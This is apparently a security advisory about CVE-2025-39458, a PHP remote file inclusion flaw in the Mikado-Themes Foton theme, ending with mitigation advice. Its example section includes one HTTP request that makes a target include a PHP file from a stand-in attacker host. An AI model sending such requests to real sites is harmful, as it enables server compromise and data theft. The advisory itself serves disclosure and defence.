Overview
In the ever-evolving landscape of cybersecurity, vulnerabilities continue to emerge that leave systems and data at risk. As such is the case with the recently discovered vulnerability CVE-2025-39458. This critical flaw is present in the Mikado-Themes Foton, popular among web developers for creating visually appealing and functional websites.
This vulnerability, known as PHP Remote File Inclusion, allows an attacker to include a remote PHP file from a server of their choosing, thus exploiting the improper control of filename for include/require statement in PHP Program present in Mikado-Themes Foton. This can lead to potential system compromise or data leakage, thus making it a serious concern for developers and organizations using these themes.
Vulnerability Summary
CVE ID: CVE-2025-39458
Severity: Critical, CVSS Score: 8.1
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
Mikado-Themes Foton | up to and including 2.5.2
How the Exploit Works
In PHP, the include() and require() statements are used to insert useful codes written in other files, in the flow of execution. This vulnerability exploits the improper control of filename for these statements, allowing an attacker to manipulate the input and include a remote PHP file from a server of their choosing. This could potentially allow an attacker to inject malicious code or scripts, leading to further exploits such as data leakage or total system compromise.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited using an HTTP request to a vulnerable endpoint:
GET /vulnerable_page.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn the above example, the attacker is requesting a page from the target’s website, but manipulating the ‘file’ parameter to include a PHP file hosted on their own server. The malicious PHP file could contain code designed to compromise the system or exfiltrate sensitive data.
Recommendations
Users are strongly advised to update their Mikado-Themes Foton to the latest version to mitigate this vulnerability. In case a patch is not immediately available, or updating is not an option, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.
Remember, in the realm of cybersecurity, staying updated is not just about having the latest features, but also about ensuring the security of your systems and data.